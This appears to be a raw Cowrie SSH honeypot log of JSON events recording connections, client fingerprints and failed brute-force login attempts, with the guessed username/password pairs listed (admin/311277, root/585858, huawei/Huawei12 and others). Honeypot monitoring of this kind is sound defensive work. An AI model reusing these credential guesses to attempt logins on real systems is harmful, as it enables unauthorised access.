{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:04.718257Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311277","message":"login attempt [admin/311277] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:05.198720Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121975","message":"login attempt [admin/31121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:06.303377Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31121973","message":"login attempt [admin/31121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:07.408350Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310792","message":"login attempt [admin/310792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:08.512403Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31071974","message":"login attempt [admin/31071974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:09.618471Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:10.724964Z","src_ip":"2.57.121.112","session":"59cc69b33056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41362,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6260b7e7967","protocol":"ssh","message":"New connection: 83.168.110.85:41362 (159.203.135.109:22) [session: b6260b7e7967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:12.164825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:12.172930Z","src_ip":"83.168.110.85","session":"b6260b7e7967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:12.294182Z","src_ip":"83.168.110.85","session":"b6260b7e7967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:12.658863Z","src_ip":"83.168.110.85","session":"b6260b7e7967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:13.889881Z","src_ip":"83.168.110.85","session":"b6260b7e7967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51432,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6caaebae2e","protocol":"ssh","message":"New connection: 83.168.110.85:51432 (159.203.135.109:22) [session: 9e6caaebae2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:22.643264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:22.648768Z","src_ip":"83.168.110.85","session":"9e6caaebae2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:22.770717Z","src_ip":"83.168.110.85","session":"9e6caaebae2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:23.134487Z","src_ip":"83.168.110.85","session":"9e6caaebae2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:24.351602Z","src_ip":"83.168.110.85","session":"9e6caaebae2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":58976,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07660a788eb","protocol":"ssh","message":"New connection: 194.113.233.25:58976 (159.203.135.109:22) [session: b07660a788eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:24.935488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:24.941348Z","src_ip":"194.113.233.25","session":"b07660a788eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:25.033014Z","src_ip":"194.113.233.25","session":"b07660a788eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"585858","message":"login attempt [root/585858] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:25.302693Z","src_ip":"194.113.233.25","session":"b07660a788eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:26.396559Z","src_ip":"194.113.233.25","session":"b07660a788eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60788,"dst_ip":"159.203.135.109","dst_port":22,"session":"860679771749","protocol":"ssh","message":"New connection: 83.168.110.85:60788 (159.203.135.109:22) [session: 860679771749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:32.998221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:33.006154Z","src_ip":"83.168.110.85","session":"860679771749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:33.122884Z","src_ip":"83.168.110.85","session":"860679771749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:33.595294Z","src_ip":"83.168.110.85","session":"860679771749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:34.833367Z","src_ip":"83.168.110.85","session":"860679771749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39402,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cdceb73ec13","protocol":"ssh","message":"New connection: 83.168.110.85:39402 (159.203.135.109:22) [session: 3cdceb73ec13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:43.435790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:43.441676Z","src_ip":"83.168.110.85","session":"3cdceb73ec13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:43.562402Z","src_ip":"83.168.110.85","session":"3cdceb73ec13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:43.928258Z","src_ip":"83.168.110.85","session":"3cdceb73ec13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:45.247681Z","src_ip":"83.168.110.85","session":"3cdceb73ec13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36178,"dst_ip":"159.203.135.109","dst_port":22,"session":"01fe2d85d6ef","protocol":"ssh","message":"New connection: 94.159.98.239:36178 (159.203.135.109:22) [session: 01fe2d85d6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:48.309283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:48.336279Z","src_ip":"94.159.98.239","session":"01fe2d85d6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:48.459234Z","src_ip":"94.159.98.239","session":"01fe2d85d6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nnnnnn","message":"login attempt [root/nnnnnn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:49.034073Z","src_ip":"94.159.98.239","session":"01fe2d85d6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:50.221771Z","src_ip":"94.159.98.239","session":"01fe2d85d6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42380,"dst_ip":"159.203.135.109","dst_port":22,"session":"975389dc9e89","protocol":"ssh","message":"New connection: 83.168.110.85:42380 (159.203.135.109:22) [session: 975389dc9e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:54.183991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:54.189422Z","src_ip":"83.168.110.85","session":"975389dc9e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:54.310807Z","src_ip":"83.168.110.85","session":"975389dc9e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:54.677973Z","src_ip":"83.168.110.85","session":"975389dc9e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:55.802999Z","src_ip":"83.168.110.85","session":"975389dc9e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"48f356752519","protocol":"ssh","message":"New connection: 79.3.96.178:37070 (10.17.0.5:22) [session: 48f356752519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:57.133893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:57.138644Z","src_ip":"79.3.96.178","session":"48f356752519","protocol":"ssh"}
